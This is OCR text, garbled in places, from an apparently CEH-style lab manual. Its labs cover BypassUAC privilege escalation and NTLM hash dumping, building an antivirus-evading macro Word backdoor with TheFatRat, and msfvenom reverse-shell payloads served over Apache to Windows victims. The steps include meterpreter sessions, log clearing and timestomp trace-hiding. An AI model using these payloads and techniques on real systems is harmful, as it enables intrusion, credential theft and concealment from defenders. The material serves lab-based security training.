Note: In this lab, 10.10.10.11 is the IP Addtess of attacker machine (i.e., Kali
Linux), which might vary in your lab environment.

this modul

windows rpreter/reverse tep)

Current Setting Required Description

FIGURE 6.24: Setting the Payload

52. You have successfully configured the exploit and payload. Type exploit
and press Enter. This begins to exploit the UAC settings in Windows 10
machine.

53. As you can see, BypassUAC exploit has successfully bypassed the UAC
setting on the Windows 10 machine; you have now successfully attained
a meterpreter session.

oA - IUT

FIGURE 6.25: Meterpreter Session Opened
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54. Now, let us check the current User ID status of meterpreter by issuing
the getuid command. You will obsetve that Meterpreter server is still
running with normal user privileges.

uid

: DESKTOP-SV6DCVI\Admin

FIGURE 6.26: Viewing the Current User ID
55. At this stage, we shall re-issue the getsystem command with the -t 1
switch, in an attempt to elevate privileges.
56. Type getsystem -t 1 and press Enter.

57. This time, the command has successfully escalated user privileges and
returns a message stating got system, as shown in the following
screenshot:

t1

nique 1 (Named Pipe Impersonation (In Memary/Admin)).

FIGURE 6.27: Issuing getsystem Command

58. Now, type getuid and press Enter. The meterpreter session is now
running with SYSTEM privileges (NT AUTHORITY\SYSTEM), as shown
in the screenshot:

2m -t 1
technique 1 (Named Pipe Impersonation (In Memory/Admin)).

>ter 1]
rver username: NT AUTHORITY\SYSTEM

FIGURE 6.28: Viewing the User 1D

59. Let us check if we have successfully attained the SYSTEM/admin
privileges by issuing a meterpreter command that requires these privileges
in order to be executed.

60. For instance, we shall try to obtain hashes located in the SAM file of
Windows 10.
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61. Type the command run post'windows/gather/smart_hashdump and
press Enter. This time, meterpreter successfully extracted the NTLM
hashes and displayed them as shown in the following screenshot:

FIGURE 6.29: Dumping the Hashes

62. Thus, you have successfully escalated privileges by exploiting the
Windows 10 machine’s vulnerabilities.

63. You can now execute commands (clearev, which clears the event logs
remotely, etc.) that require administrative/root ptivileges.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion of
your target’s secutity posture and exposure through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

O Yes M No
Platform Supported
M Classroom M iLabs
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Module 06 - System Hacking

Hacking Windows Server 2012
with a Malicious Office Document

using TheFatRat

ThelutRat is an exploiting tool which wmpiks a mabsiare with pgpular payload and then the wompibd
miabvare can be exeatted on windows android, mac

Lab Scenario

Social Engineeting is one of the most typically used attacks by a hacker. As the recent
trends suggest, many big organizations fall victim to this attack vector. The attackers
trick the staff of a workplace to click links in a legitimate looking document which
turns out to be malicious and even able to evade the anti-virus programmes.

In this lab we shall find out how to create a malicious office document and get a
meterpreter shell by bypassing anti-virus systems.

Lab Objectives
The objective of this lab is to help students learn:

= How to use an office document to exploit a windows machine?

Lab Environment

To catty out this lab, you need:
= A computer running Windows Server 2016
= Kali Linux running as a virtual machine
= Windows Server 2012 running as a virtual machine

Lab Duration
Time: 15 Minutes
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Overview of TheFatRat
The FatRat provides an easy way to create backdoors and payloads which can bypass

most anti-virus systems.

Lab Tasks

B sasina 1. ILoginto the Kali Linux machine and open a Terminal window. Type git
clone httpsz/igithub.com/Screetsec/TheFatRat and hit Enter.

Set Up TheFatRat
Note: TheFatRat is already preinstalled in the Kali Linux machine, you can
skip to step 8.

root@kali: ~ e 00

File Edit View Search Terminal Help
:~# git clone https://github.com/Screetsec/TheFatRat

loning into 'The at'...
remote: Counting objects: 13528, done.
remote: Total 13528 (delta ©), reused © (delta 0), pa

eiving objects: 10 (1352 3528), 281.72 MiB 3.90 MiB/s, done.
xesolving deltas: 100 71/4971), done.
Checking out files: 100% (9891/9891), done.

ck-reused 13528
9

FIGURE 7.1: Cloning thefatrat in to kali system

2. After the cloning is completed, type cd TheFatRat/ and hit Enter.

root@Kkali: ~/TheFatRat e o0

File Edit View Search Terminal Help
:~# git clone https://github.com/Screetsec/TheFatRat
Cloning into 'TheFatRat
te: Counting objects: 13528, done.
e: Total 13528 (delta @), reused 0 (delta @), pack-reused 13528
Receiving objects: 10 (13528/13528), 281.72 MiB 3.90 MiB/s, done.
deltas: P (4971/4971), done.
<ing out files: 100% (9891/9891), done.
# cd TheFatRat/

FIGURE 7.2 Navigating to thefatrat folder

3. Type chmod -R 755 /root/TheFatRat and hit Enter as shown in the
screenshot.

root@kali: ~/TheFatRat e 00

File Edit View Search Terminal Help
:~/TheFatRat# chmod -R 755 /root/TheFatRat
#

FIGURE 7.3 Changing folder permissions
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4. 'Type Jsetup.sh and hit Enter to begin the installation as shown in the
screenshot.

root@kali: ~/TheFatRat e ©® 0

File Edit View Search Terminal Help
2 # chmod -R 755 /root/TheFatRat

1t# . /setu

Done

Done
e and @ not upgraded

remove and @ not upgr

FIGURE 7 4: Start thrfatrat setup
5. An UPDATING KALI REPO popup appeats as shown in the screenshot. Let it
finish updating the kali packages.

3[;3]€ UPDATING KALI REPO a3JE 06 0
InRel [20.3 kB]

ntrib amd6d Package

kB/s 11min

FIGURE 7.5: Updating kali repo window

6. After the update window closes, TheFatRat asks to create a shortcut in the
system. Type y and hit Enter.

root@kali: ~/TheFatRat e ® 0
File Edit View Search Terminal Help

FIGURE 7.6: Fatmt create shorteut prompt
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7. A Warning appears as shown in the screenshot. Hit Enter to continue.

root@kali: ~/TheFatRat e ® 0

File Edit View Search Terminal Help

FIGURE 7.7: Warning message given by TheFatRat
B task 2 8. After the installation is complete, in the Terminal window type fatrat and hit
Enter.
Make Backdoor :
File root@Kkali: ~/TheFatRat e o0 0

File Edit View Search Terminal Help

FIGURE 7 8: Launch fatrat application
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9. FatRat launches and starts to verify the installed dependencies as shown in
the screenshot.

root@kali: ~/TheFatRat (- IO <}

File Edit View Search Terminal Help

-= == +=[(c) 2016-2017 dracos-linux.org | Linuxsec.org | Hacker Indonesia

FIGURE.7.9: Fatrat initial chedk for dependencies

10. Service Running messages comes on the screen as shown in the screenshot.
Press Enter to continue.

11. You will get multiple prompts saying press Enter to continue, do so to
continue.

root@kali: ~/TheFatRat e ® 0
File Edit View Search Terminal Help

FIGURE 7.10: Service running message
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12. TheFatRat menu comes as shown in the screenshot. Choose [06] Create Fud
Backdoor 1000% with PwnWinds [Excelent] by typing 6 in the menu and
hit Enter.

File

Edit View Search Terminal Help

~ 6§

Create
Create
Create
Create

root@kali: ~/TheFatRat e @ 0

Backdoor Creator for Remote Acces [--]
[--]
[--1
[--1

SELECT AN OPTION TO BEGIN:

Backdoor with msfvenom

Fud 100% Backdoor with Fudwin 1.0

Fud Backdoor with Avoid v1.2

Fud Backdoor with backdoor-factory [embed]

Backdooring Original apk [Instagram, Line,etc]
Create Fud Backdoor 1000% with PwnWinds [Excelent]

Create

Backdoor For Office with Microsploit

Load/Create auto listeners

Jump to msfconsole

Searchsploit

File Pumper [Increase Your Files Size]
Configure Default Lhost & Lport
Cleanup

Help

Credits

Exit

1—I[~1-Ime

FIGURE 7.11: TheFatRat main menu
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13. PwnWinds menu appears as shown in the screenshot. Choose [3] Create exe
file with apache + Powershell (FUD 100%) by typing 3 in the menu and hit
Enter.

root@Kkali: ~ e 00

File Edit View Search Terminal Help

FIGURE 7.12: PwnWinds main menu

14. Type 10.10.10.11 in the Set LHOST IP option and hit Enter.

FIGURE7.1% Set lhost option
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15. In the Set LPORT option, type 4444 and hit Enter.

FIGURE7.14: set lport option

16. Type payload in ‘Please enter the base name for output files’ option and
hit Enter as shown in the Screenshot.

SEVALED! |
FIGURE7.15: specify output filename

17. In the Choose Payload option, choose [ 3 1
ind /meterpreterireverse_tcp by typing 3 and hit Enter.

FIGURE7.16: Choose payload option
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18. The FatRat generates a payload.exe file located at Home/TheFatRat/output
as shown in the screenshot.

< [ @ Home TheFatRat | output ] all=llz= ©© @

O Recent

README.md 102 bytes Fri

© Home

@ Desktop

) Documents

® Downloads

FIGURE

7.17: Payload generated by thefatrat

19. Now to go back to main menu choose [8] Back to menu by typing 8 and hit

H task 3
Enter.

Make Malicious
Word File root@kali: ~/TheFatRat e ® 0

File Edit View Search Terminal Help

FIGURE 7.18: Going back to the main menu
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20. From the menu, choose [07] Create Backdoor For Office with Microsploit
by typing 7 and hit Enter as shown in the screenshot.

root@kali: ~/TheFatRat e ® 0
File Edit View Search Terminal Help

I

SELECT AN OPTION TO BEGIN:

Create Backdoor with msfvenom

Create Fud 100% Backdoor with Fudwin 1.0

Create Fud Backdoor with Avoid v1.2

Create Fud Backdoor with backdoor-factory [embed]
Backdooring Original apk [Instagram, Line,etc]
Create Fud Backdoor 1000% th PwnWinds [Excelent]
Create Backdoor For Office with Microsploit
Load/Create auto listeners

Jump to msfconsole

Searchsploit

File Pumper [Increase Your Files Size]

Configure Default Lhost & Lport

Cleanup

Help

Credits

Exit

FIGURE 7.19: Thefatmt main menu
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21. Microsploit menu appears; choose option [2] The Microsoft Office Macro on
Windows by typing 2 and hit Enter.

root@Kkali: ~/TheFatRat e ® 0
File Edit View Search Terminal Help

Microsfot Metasploit Packet [
Version : 1.0.0

Screetsec - Edo Malad
Codename: Mario Bros

B W N e

o

FIGURE 7.20: Microsploit main menu

22. Type 10.10.10.11 in the Set LHOST IP option and hit Enter.

FIGURE 721: Set Thost IP option

23, In the Set LPORT option, type 4444 and hit Enter.

FIGURE 7.22: Set Iport option
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24. Type BadDoc in the Enter the base name for output files option and hit
Enter as shown in the Screenshot.

BadDocl]

FIGURE 7.23: Enter output filename

25. In Enter the message for the document body (ENTER = default): type you
have been hacked! and hit Enter.

BadDoc

Enter th s jocument body (ENTER = ¢ it you have been
hacked! '} P

FIGURE 724: Enter a message for document body
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26. In Are u want Use custom exe file backdoor (y/n) option type y and hit
Enter.

BadDoc

Enter the mes or the document body ¢ t) you have been
hacked! !

FIGURE 725: Custom exe file backdoor option

27. 'Type Iroot'TheFatRat/output/payload.exe as Path and hit Enter.

Enter the essage To the document body (EN ult) you have been
hacked!!

/root/TheFatRat/output/payload.exe [

FIGURE 7 26: Specify path option

28. In the Choose Payload option, choose [ 3 1
windows/meterpreterreverse_tcp by typing 3 and hit Enter.

Enter the path to your EXE file .(ex: /root/downloads/myfile.exe)

t/TheFatRat/output/payload.exe l

: Choose payload option
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29. The malicious document details appear as shown in the screenshot. Hit Enter
to continue.

FIGURE 7.28: Backdoor saved prompt

30. Navigate to Home/TheFatRat/output to find the generated word file as
shown in the screenshot.

< > [4 @ Home TheFatRat | output »] alfl=]l=

® Recent

@ Home

i Desktop README.md 102 bytes Fri
[ Documents < payload.exe 4615 kB 01:27
® Downloads

FIGURE 7.29: Word fik successfully generared
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31. Open another terminal window and launch metasploit by typing msfconsole
and hit Enter.

Set Up a List

root@kali: ~ e ® 0

File Edit View Search Terminal Help

:~# msfconsole

=[ t t L ]
--=[ 1682 exploits - 964 auxiliary - 297 post ]
[ 498 payloads 40 encoders 10 nops 1

[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

FIGURE 7.30: Launch metasphoit

32. Wait for metasploit to start. Then type use multivhandler in the msf
command line and hit Enter.

root@kali: ~ e 0 0
File Edit View Search Terminal Help

msf > use multi/handler
nsf exploit( I |

FIGURE 7.31: Set up alistener

33. Type set payload windows/meterperterireverse tcp and hit Enter as
shown in the screenshot.

root@kali; ~ e ® 0
File Edit View Search Terminal Help
nsf > use multi/handler
msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

nsf exploit( ) >

FIGURE 7.32 Set payboad for the listener
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34, Type set LHOST 10.10.10.11 and hit Enter, typc set LPORT 4444 and hit
Enter and finally type show options and hit Enter.

root@Kali: ~ (- IO B ~)

File Edit View Search Terminal Help

msf exploit( ) > set LHOST 10.10.10.11
LHOS 10.10.10.11

1sf exploit( ) > set LPORT 4444

LPORT 4444

nsf exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload opti (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process S Exit technique (Accepted: '', seh, thread
process, none)

LHOST 10.10.10.11 The listen address

LPORT 4444 The listen port

loit target:

I Name

Wildcard Target

msf exploit( e |
FIGURIE733: Listener options
35. Now type run and hit Enter to start the listener.
exploit( ) > run
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444
exploit( ) >

FIGURE 7.34: Start the listener

B rask s 36. Now  open  another terminal window and type cp

T AR Iroot/TheF atRat/output/Bad Doc.docm /var/www/htmlshare/ and hit Enter.

Share the :
Malicious root@kal

Document File File Edit View Search Terminal Help
# cp /root/TheFatRat/output/BadDoc.docm /var/www/html/share/

w1

FIGURE 7.35: Sharing the malidous word document
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37. Then type service apache2 start and hit Enter.

root@kali: ~ e ® 0

File Edit View Search Terminal Help
# cp /root/TheFatRat/output/BadDoc.docm /var/www/html/share/
# se apache2 start

FIGURE 7.36: Start apache webserver

38. Now switch to Windows Server 2012 system and open a browser (hete
Internet Explorer).

39. In the address bar type http2/10.10.10.11/share/ as the URL and hit Enter.
40. Index of /share page appears, click BadDoc.docm to download it.

B rasics 41. Click Save in the download prompt as shown in the screenshot.

:allc::o. b"} ME/R 1010 T hare 0 + &1 & index of /share j

Document Index of /share

Name Last modified Size Description
& Pasent Disectory .
() BadDoc docm)] 2017-11-2700.02 174K
E‘ shellcode psl  2017-11-23 01:25 26K
Apache’2.4.27 (Debian) Server at 10.10.10.11 Port 80

Do you want to open or save BadDoc.docm (173 KE) from 10.10.10.117

= o

FIGURE 7.37: Downkad malicious document in the victim machine
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42. Open your Downloads folder and double click the word file downloaded in

the previous step.
Home Share View - 0
© * 1 g » ThisPC » Downloads v ¢ | [ Search Downloads 2]
ki Name - Date modified Type Size
B Desktop fﬁ BadDoc.docm 11/27/201712:39 ., Microsoft Word M... 174K8)
# Downloads

4 Recent places

% This PC
Desktoj

FIGURE.7.38: Downlkaded malicious word document

43, MS Wotd opens the file in Protected View. Click Enable Editing as shown in
the screenshot.

locm (Protected View) - Word

Be coreful—files from the Internet can contain viruses, Unless you need to edit, it's
@ PromecTed view e b L Pkt Vi Enable Editing | X

Attention! This document was created by a
Macros must be enabled to display the contents of the document.

o
| SEAUE =T LML)
FIGURE 7.39: Enable oditing option in MS Word
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44. A Security Warning appears, click Enable Content as shown in the
screenshot.

- | x

Signin S Share

— Cambria (Body *|12
B I U-axx, x' &
¥ A-¥. A-A-r Aa D~

Clipboard

AaBbCcI AaBbCel AaBbCt

Paste 1 Normal | TNoSpac.. Heading 1

Editing

Font Styles 5 A

1 SECURITY WARNING Macros have been disabled

L\ttentlan! This document was created by a newer version of Microsoft Office.
Macros must be enabled to display the contents of the document.

Page10of1 23words L[ =4 = g =  § + 100%

FIGURE, 7.40: Enable content option

45. Now if you switch back to the Kali Linux system, you will find that we have
a Meterpreter session open end in the metasploit terminal.

) run
Explo running as background job 6.

Started reverse TCP handler on 10.10.10.11:4444
1sf exploit( ) > sending (17 7 bytes) to 10.10.10.16
Meterpreter session 1 opened (16 .10.11:4444 -> 10.10.10.16:1688)
27 00:31:02 -0500

FIGURE 7 41: Meterpreter session obtained
46. Type Sessions -i and hit Enter to sce all the active sessions as shown in the
screenshot.

sessions -1

Informatio Connection
1 meterpreter x86/windows CEH\Administrator @ WIN-0JAQ7QJ8PAT 10.10.10.11:
1444 -> 10.10.10.12:52794 (10.10.10.12)

st exploit( ) > 1

FIGURE 742: Viewing the obtained session ID
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47. Type sessions -i 1 and hit Enter to get a meterpreter command line as shown
in the screenshot.

Sessions

st exploit| ]

Starting interaction with 1...

leterpreter > I

FIGURE 743: Connecting to the maempraer session

48. Type sysinfo and hit Enter to view the system details of the exploited

H task 7 !
computer as shown in the screenshot.
View Exploited ] ]

1sf exploit( ) > se ns -1 1

SyStem Details Starting interaction with 1.

ieterpreter > sysinfo
: WIN-0JAQ7QJ8PAI
: Windows 2012 R2 (Build 9600).

leterpreter : x86/windows
ete reter >

FIGURE 7.44: Viewing exploited system details through command line

Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Platform Supported
Classroom iLabs
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Module 06 - System Hacking

Hacking Windows 10 using
Metasploit and Post-Exploitation
using Meterpreter

Metasploit Framenork is a tool for developing and executing exploit code against a
remote target machine.

Lab Scenario

Backdoors are malicious files that contain Trojan or other infectious applications
that can either halt the current working state of a target machine or even gain
partial/complete control over it. Attackers build such backdoors in attempt to
gain remote access to the victim machines. They send these backdoors through
email, file-sharing web applications, shared network drives, among othets, and
entice the users to execute them. Once a user executes such application, an
attacker can gain access to his/her affected machine and perform activities such
as keylogging, sensitive data extraction, and so on, which can incur severe damage
to the affected user.

Lab Objectives

The objective of this lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of this lab include:
= Creating a server and testing the network for attack

= Attacking a network using a sample backdoor and monitor system activity
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Lab Environment
To catty this out, you need:

= Kali Linux running in Virtual machine
= Windows 10 running in virtual machine (Victim machine)
= A web browser with Internet access

= Administrative ptivileges to run tools

Lab Duration
Time: 20 Minutes
Overview of the Lab

Trojan is a program that contains a malicious or harmful code inside apparently
harmless programming or data in such a way that it can get control and cause
damage, such as ruining the file allocation table on a hard drive.

Lab Tasks

Note: Make sure to disable Windows SmartScreen and Windows Defender in
Windows 10

1. Before beginning this lab, create a text file named secret.txt on the
Windows 10 virtual machine; write something in it, and save it in the
location C:\Users\Admin\Downloads.

exploit code 2. In this lab, the secret.txt file contains the text “My credit card account
against a remote number is 123456789.”
target hi
¥ | [ 1] = | Downloads = o XJ
Home Share View
“ « o & > ThisPC » Downloads vo earch Downloads P

ey
H rask 1

Backdoor.exe File

Name Date modified Type Size

o Quick access
B Desktop
& Downloads

[% Documents

(= secreton /972017511 PM  Test Document 1ke)

LR S Y

& Pictures

D Music

FIGURE 8.1: Text file containing account number
3. Login to Kali Linux virtual machine
4. Launch a Command line terminal
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5. Type the command msfvenom -p windows/meterpreterireverse_tcp --
platform windows -a x86 -e x86/shikata ga mai -b "x00"
LHOST=10.10.10.11 -f exe > Desktop/Backdoor.exe and press Enter.

root@kali: ~ (- IO ]

File Edit View Search Terminal Help
msfvenom -p \ 0 meterpreter/reverse tcp --platform windows
ata ga nai -b "\» " LHOST=10.10.10.11 -f e > Desktop/Backdoor.

ible encoders
code payload with 1 iterations of x86/shikata ga nai
_ga nai succeeded with size 360 (iteration=0)

360 bytes
size of exe file: 73802 bytes
#

FIGURE 8.2 Creating a Payload

6. 'This creates a backdoor on the Desktop.

Backdoor,
exe

FIGURE 8.3: Payload Created

7. Now you need to share Backdoor.exe with the victim machine (in this
lab, Windows 10 is the victim machine).

8. 'To share the file, you need to start the apache server. Type the command
service apache2 start in Terminal, and press Enter.

root@kali: ~ e e el

Fite Edit View Search Terminal Help
# msfvenom -p windo /meterpreter/reverse tcp --platform windows
a ga nai -b "\x@8" LHOST=10.10.10.11 -f exe > Desktop/Backdoor
tible encoders
payload with 1 iterations of x86/shikata ga nai
i succeeded with size 366 (iteration=0)
osen with final size 360

inal size of

#

FIGURE 8.4: Starting Apache webserver

9. Now the apache web setver is running, copy Backdoor.exe into the
share folder.
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["~7To run the
apache web
server use the
following
command:
cplroot/.msfd/data/
exploits/*
Nariwwwi/share/

EL) ‘the exploit will be
savexd on

/root/ msfd/data/exploits/
folder.

m T'o sct reverse T'CP
use the following command
set paykoad
windows/meterpreter/ revers
e tep

Module 06 - System Hacking

10. Type cp /root/Desktop/ Backdoor.exe /variwww/html/share/ and press
Enter.

root@kali: ~ e 0 °1

Fite Edit View Search Terminal Help
:~# |cp /root/Desktop/Backdoor.exe /var/www/html/share/

= |

FIGURE 85: Copying the backdoor file

11. Now, type the command msfconsole and press Enter to launch
msfconsole.

12. Type use exploit/multihandler and press Enter, to handle exploits
launched outside the framework.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

=[

--=[ 1682 exploits - 964 auxiliary - 297 post
=[ 498 payload 40 encod 10 nops
=[ Free Metasploit Pro tri http://r-7.co/trymsp

se exploit/mu
yloit )

FIGURE 8.6: Exploit the victim machine
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13. Now, issue the following commands in msfconsole:

a) Type set payload windows/meterpreter/reverse_tcp and press
Enter.

b) Type set LHOST 10.10.10.11 and press Enter.

c) Type show options and press Enter. This lets you know the
listening port.

File Edit View Search Terminal Help

root@kali: ~ e e 01

) >
10.10.10.11
) > show options

lodule options (exploit/multishandler):

ayload op in /meterpreter/reverse tcp):
Name Current Setting Required Description
EXITFUNC process B epted: ’ , thread, none)

LHOST 10.10.10.11
LPORT 4444

xploit target:

Id Name

[} Wildcard Target

FIGURE 8.7: Setup the reverse TCP

14. To start the handler, type exploit -j -z and press Enter.

root@kali: ~ (-]
File Edit View Search Terminal Help
(window eterpreter/reverse tcp):

Name r Setting Required Description
ITFUNC ro X hnique (Accepted ’ , thread, none)
LHOST ¥ | addre
LPORT Y 1 T
xploit target:
Id Name

8 Wildcard Target

! ) exploit -j -z
t running a L ound job @.

FIGURE 8.8: Exploit the windows 8.1 machine
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Hrask 2

Download and
Execute the
Backdoor File

ELif you didn't
have apache2
installed, run apt-
get install
apache2

Module 06 - System Hacking

15. Log on to the Windows 10 virtual machine.

16. Launch Firefox or any web browser, and type http://10.10.10.11/share/
in the URL field, then press Enter.

Note:10.10.10.11 is the IP address of Kali Linux, which may vaty in your
lab environment.

17. Click the Backdoor.exe link to download the backdoor file.

N Index of /share X §E - |

€[ @ 1010101 1/50are c | @ searen e R Y S oe =

Index of /share

Name Last modified Size Description

’Puem Disectory

[ Backdoorexe] 2017-11-1001:05 12K

i) Exploitexe  2017-11-09 0647 72K

Apache/2.4.27 (Debian) Server at 10.10.16.11 Port 80

FIGURE 89: Firefox web browser with Backdoor.exe
18. The Opening Backdoor.exe pop-up appears; click Save File.

Note: Make sure both the Backdoor.exe and secret.txt files are in the
same directory.

Opening Backdoor.exe X

You have chosen to cpen:

[% Backdoor.exe
which is: Binary File (72.1 KB)
from: http://10.10.10.11

Would you like to save this file?

FIGURE 8.10: Saving the Backdoor exe file
19. By default, this file is stored in C:\Users\Admin\Downloads.
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"7To interact
with the available
session, you can
use sessions -i
<session id>
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20. On completion of download, a download notification appears in the
browser. Click Open Containing Folder.

-
Index of /share X Gt
€ © 10101011 ¢ vael¥a 9 2 « =
QP  Firchug changed the Web. See how it iues or T E .h.:\hr_j,.,(. . E] Lesm More X
Index of /share
Show All Downlosds
Name Last modified Size Description
& Parent Directory
B Backdoorexe  2017-11-1001:05 12K
B) Exploitexe  2017.11.0006.47 2K
Apache’2.4.27 (Debiar) Server at 10.10.10.11 Port 80
.

FIGURE 8.11: Saving the Backdoor exe file
21. Double-click Backdoor.exe. If an Open File - Security Warning
appears, click Run.

22. Switch back to the Kali Linux machine. Meterpreter session has been
successfully opened as shown in the following screenshot:

File Edit View Search Terminal Help
Name B Setting R 7 Description

EXITFUNC process ye Exit technique (Accepted: '', seh, thread,
proc , hone)

LHOST 10.10.10.11 The listen address

LPORT 4444 The listen port

xploit target:
Id Name

<] Wildcard Target

15f exploit( ) > exploit -j -2
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444
exploit( n ding stage (179267 bytes) to 10.10.10.10
M 2rpreter ssion 1 opened (10.10.10.11:4444 -> 10.10.10.1 9821) at 2017-1
43:48 -0500
T

FIGURE 8.12: Exploit result of windows 10 machine
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23. Type sessions -i and press Enter to view the active sessions.
Hrask 3

root@kali: ~ e ® 0
Establish a File Edit View Search Terminal Help
Session and

Obtain User 10 cName
Information @ Wildcard Target

ploit( ) > exploit -j -z
Exploit running as background job 0.

Started reverse TCP handler on 10.10.10.11:4444
1sf exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.10
Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:49821) at 2017-1

10 01:43:48 -0500

Information Connection

meterpreter
> 10.10.10.10:49821 (10.10.10.10)

1sf exploit(

FIGURE 8.13: Exploit result of windows 8.1 machine

24. 'Type sessions -i 1 and press Enter (1 in sessions —i 1 command is the
id number of the session). Meterpreter shell is launched, as shown in
the following screenshot:

root@Kkali: ~ e ® 0
File Edit View Search Terminal Help
Wildcard Target

1sf exploit( ) > exploit -j -z
] Exploit running as background job 6.

Started reverse TCP handler on 10.10.10.11:4444

exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.10

Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.16.10:49821) at 2017-1
1-10 ©1:43:48 -0500

Id Type Information Connection

1 meterpreter x86/windows DESKTOP-SV6DCV1\Admin @ DESKTOP-SV6DCV1 10.10.16.1
1:4444 -> 10.10.160.10:49821 (10.10.16.10)

exploit( ) > sessions -i 1
Starting interaction with 1...

ieterpreter >

FIGURE 8.14: creating the session
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25. Type sysinfo and press Enter. Issuing this command displays target
machine information such as computer name, operating system, and so
on.

root@kali: ~ (O )

File Edit View Search Terminal Help

] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:49821) at 2017-1p
1-10 01:43:48 -0500
sessions

Information Connection

meterpreter x86/windows DESKTOP-SV6DCV1\Admin DESKTOP-SV6DCV1
1:4444 -> 10.10.10.10:49821 (10.10.10.10)

1sf exploit( ) > sessions -1 1
] Starting interaction with 1...

neterpreter > sysinfo

Computer DESKTOP-SV6DCV1

)S : Windows 10 (Build 15063).
Architecture 1 x64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

leterpreter : x86/windows

\eterpreter >

FIGURE 8.15: Viewing system info

26. Type ipconfig and press Enter. This displays the victim machine’s IP
address, MAC address, and so on.

root@kali: ~ e 0 0

File Edit View Search Terminal Help
neterpreter > ipconfig

Interface 1

lame : Software Loopback Interface 1

{ardwa : 00:00:00:00:00:00

Tu : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffffoffff:Feff:ffff.Ffff-frff

Name : Microsoft Hyper-V Network Adapter
fardware MAC : 00:15:5d:00:39:03

Tu : 1500

Pv4 Address : 10.10.10.

IPv6 Address : :
IPv6 Netmask : ffff:ffff:ffff:ffff::

FIGURE 8.16: 1P address related information
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27. Type getuid and press Enter.

28. Running getuid will display the attacker that the Meterpreter server is
running as administrator on the host.

FIGURE 8.17: Viewing the server username

Erasw 4 29. Type pwd and press Enter to view the current working directory on the

List all the Files in remote (target) machine.

airectory Note: The current working directory will differ according to where you

have saved the Backdoor.exe file, therefore the screenshots might differ
in your lab environment.

root@kali: ~ e e 0
Fite Edit View Search Terminal Help

neterpreter > getuid
- username: DESKTOP-SV6DCV1\Admin

ieterpreter >/ pwd
n\Downloads

eterpre
FIGURE 8.18: Finding the present working directory (pwd)
30. Type Is and press Enter to list the files in the current working directory.

Note: The screenshots might differ in your lab environment.

root@Kali: ~ e e 01

File Edit View Search Terminal Help

Size Type Last modified Name

100777 /rwxrwxrwx 73802 fil 2017-11-16 ©1:43:28 -0500 Backdoor.exe
100666/ rw-rw-rw- 43 fil 2017-11-10 00:11:43 -8500 secret.txt

neterpreter >

FIGURE 8.19: Listing all the files in the directory

B rask s 31. To read the contents of a text file, type cat filename.txt (here, secret.txt)
and press Enter.
View the . :
Contents of a File root@kali: ~ e e 0
File Edit View Search Terminal Help
Listing: C:\Users\Admin\Downloads
Mode Size Type Last modified Name
100777/rwxrwxrwx 73802 fil 2017-11-160 01:43:28 -0500 Backdoor.exe
100666/ rw-rw-rw- 43 fil 2017-11-10 00:11:43 -0500 secret.txt
neterpreter > cat secret.txt
ly credit card account number 123456789 . meterpreter > l
FIGURE 8.20: Issuing cat command
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nTASK 6

View the MACE
Attributes

Hrask 7

Change the
Present Working
Directory (PWD)

and list all the

Files in the

Changed
Directory

Module 06 - System Hacking

32.
33.

Change the MACE attributes of secret.exe.

While performing post exploitation activities, a hacker tries to access files
to read their contents. Upon doing so, the MACE attributes change
immediately, which gives an indication to the file user/owner that
someone has read or modified the information.

34. 'To leave no hint of these MACE attributes, use the times to mp command

to change the attributes as you wish after accessing a file.

. To view the mace attributes of secret.txt, typc timestomp secret.txt -v
and press Enter. This displays the created time, accessed time, modified
time, and entry modified time, as shown in the screenshot:

t@kali: ~

File Edit
00666/ rw-rw-rw

View Search Terminal
43 fil

Help

2017-11-10 00:11:43 -0500 secret.txt
ieterpreter > cat secret.txt
ly credit card account number is 123456789.meterpreter
secret.txt

-05600

-0500

0500

0500

> timestomp secret.txt -\

| Showing MACE attributes for

2017-11-10 @8
2017-11-10 ©
2017-11-10 ©
2017-11-10 @

lodified

AcC ed
reated

ntry Modifie

> [1

ieterpreter
FIGURE 8.21: Viewing the timestomp information

36. The ed command changes the present working directory. As you know,
the cutrent working directory is C:\Users\Student\Downloads.

37. Type ed C€:\ to change the current remote directory to Cz.

root@Kkali: ~

File Edit View Search Terminal Help
ieterpreter > cat secret.txt
ly credit card account number is 123456789.meterpreter
| Showing MACE attributes for secret.txt
: 2017- :43 -0500
: 2017 0500
ed : 2017 0500
) Modified: 2017- -9500
ieterpreter > cd C:\
preter >

> timestomp secret.txt -\

FIGURE 8.22: Changing the path of the directory
38. Now type pwd and press Enter.

39. Observe that the curtent remote directoty has changed to Cz.

root@kali: ~
Edit View Search Terminal Help

: 2017-11-10 60:11:43 -0500
€3\

ieterpreter

FIGURE 8.23: Checking the present working directory (pwd)
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Hrtask 8

Download a File
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40. Type Is and press Enter to list the files in the current working ditrectory

).

Edit View

Search Terminal

28672
4096
395268
24265736
0

4096
34339964
34339964

Help

root@kali: ~

Last modified
2017-10-12
2017-11-01
2015-07-10
07-10
-10-11
-93-18
2017-11-01
2017-11-09
2017-11-082
2017-11-01
2017
2017
2017-
2017-
2015-
2017

-0400
-0400
-0400
0500
0400
0400
0400
0400
-8500
-8400
-0400
-0400
-0400

107

149

2017-
1969-
1969

-0500

FIGURE 8.24: List all the files in the pwd

o0

Name

$Recycle.Bin
$WINDOWS . ~BT
BOOTNXT
Documents
FTP
PerfLogs
Program Fil
Program Fil

